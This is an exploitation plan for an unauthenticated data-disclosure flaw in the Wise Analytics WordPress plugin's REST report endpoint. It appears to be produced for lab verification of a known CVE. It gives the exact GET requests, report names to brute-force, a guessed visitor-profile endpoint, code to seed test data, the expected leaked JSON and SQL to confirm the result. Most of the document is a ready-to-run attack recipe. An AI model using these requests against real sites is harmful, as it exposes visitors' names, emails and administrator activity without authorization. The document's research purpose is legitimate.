Exploitation Research Plan: CVE-2025-14609

1. Vulnerability Summary

The Wise Analytics plugin (<= 1.1.9) is vulnerable to a Missing Authorization flaw in its REST API implementation. Specifically, the endpoint /wp-json/wise-analytics/v1/report fails to implement proper permission_callback checks. This allows any unauthenticated user to query the internal analytics database by providing a specific report name via a GET request. The exposed data includes visitor profiles, administrator activity (login timestamps), and business intelligence.

2. Attack Vector Analysis

• Endpoint: /wp-json/wise-analytics/v1/report
• Method: GET
• Vulnerable Parameter: name
• Authentication: None (Unauthenticated)
• Preconditions: The plugin must be active and have captured some visitor or event data.
• Payload Type: URL Query Parameters.

3. Code Flow

1. Registration: The plugin registers the REST API namespace wise-analytics/v1 and the route /report (inferred from Analytics.php's waAdminConfig.apiBase).
2. Access: When a request hits /wp-json/wise-analytics/v1/report?name=visitors.last, WordPress dispatches the request to the plugin's controller.
3. Missing Check: The controller likely lacks a permission_callback that verifies current_user_can('manage_options').
4. Data Retrieval: The controller uses the name parameter (e.g., visitors.last as seen in MainTable.jsx) to invoke a service class that queries the database (likely Kainex\WiseAnalytics\Services\Reports\ReportsService or similar).
5. Disclosure: The database results are returned as a JSON object directly to the unauthenticated requester.

4. Nonce Acquisition Strategy

According to the vulnerability description and analysis of assets/js/admin/src/redux/utils/ajax.js, the plugin does not appear to use standard WordPress REST nonces (X-WP-Nonce) for its report fetching logic. The JS fetch call in ajax.js does not automatically append headers:

// From assets/js/admin/src/redux/utils/ajax.js
let promise = fetch(waAdminConfig.apiBase + url + queryString, fetchConfiguration)

Since the endpoint is vulnerable to unauthenticated access, no nonce is required for the exploit. If the server were to enforce a nonce for unauthenticated users, it would typically be available in the frontend, but the vulnerability description confirms unauthenticated requests are successful.

5. Exploitation Strategy

The goal is to extract sensitive visitor and admin data.

Step-by-Step Plan:

1. Target Identification: Use the known report name visitors.last found in the source code of MainTable.jsx.
2. Request Construction: Craft a GET request to the REST API endpoint.
3. Parameter Fuzzing: If visitors.last works, attempt other logical report names based on the plugin's feature list (e.g., pages.top, events.last, sources.referrals).

HTTP Request (via http_request tool):

GET /wp-json/wise-analytics/v1/report?name=visitors.last HTTP/1.1
Host: [TARGET_HOST]
Accept: application/json

Potential Additional Payloads:

• ?name=visitors.last&offset=0
• ?name=events.last
• ?name=pages.top

6. Test Data Setup

To ensure the exploit returns meaningful data, we must populate the database using the plugin's own API (provided in readme.txt).

Action: Execute the following via wp eval:

// Create a dummy visitor with sensitive info
if (class_exists('\Kainex\WiseAnalytics\Container')) {
   $visitorsService = \Kainex\WiseAnalytics\Container::getInstance()->get(\Kainex\WiseAnalytics\Services\Users\VisitorsService::class);
   $visitor = $visitorsService->getOrCreate();
   $visitor->setFirstName("Secret");
   $visitor->setLastName("Administrator");
   $visitor->setEmail("admin-leak@example.com");
   $visitorsService->save($visitor);
   
   // Log an event to ensure the report has content
   $eventsService = \Kainex\WiseAnalytics\Container::getInstance()->get(\Kainex\WiseAnalytics\Services\Events\EventsService::class);
   $eventsService->createEvent($visitor, "login", ["user" => "admin"]);
}

7. Expected Results

A successful exploit will return a 200 OK response with a JSON body containing visitor details.
Example Response Body:

{
  "visitors": [
    {
      "id": 1,
      "firstName": "Secret",
      "lastName": "Administrator",
      "email": "admin-leak@example.com",
      "totalSessions": 1,
      "avgSessionDuration": "00:05:20",
      "lastVisit": "2025-05-20 10:00:00"
    }
  ],
  "total": 1,
  "offset": 0,
  "limit": 20
}

8. Verification Steps

1. Confirm via CLI: Check the contents of the plugin's visitor table (likely wp_wa_visitors).

   wp db query "SELECT * FROM wp_wa_visitors;"
   

2. Match Data: Compare the output from the HTTP request with the database query results to confirm identity.

9. Alternative Approaches

If visitors.last is not the correct name (though explicitly in the code), brute-force the name parameter using identifiers found in assets/js/admin/src/redux/reducers/reports.js (not provided, but a standard location) or use common analytics slugs:

• overall.highlights
• behaviour.pages
• sources.channels
• visitors.devices

The readme.txt specifically mentions "Visitor profile page (name, e-mail...)", so any endpoint that serves the "Visitor profile" is a high-value target. Try:

• GET /wp-json/wise-analytics/v1/visitor?id=1 (inferred from MainTable.jsx's Link to /visitors/browse/visitor/)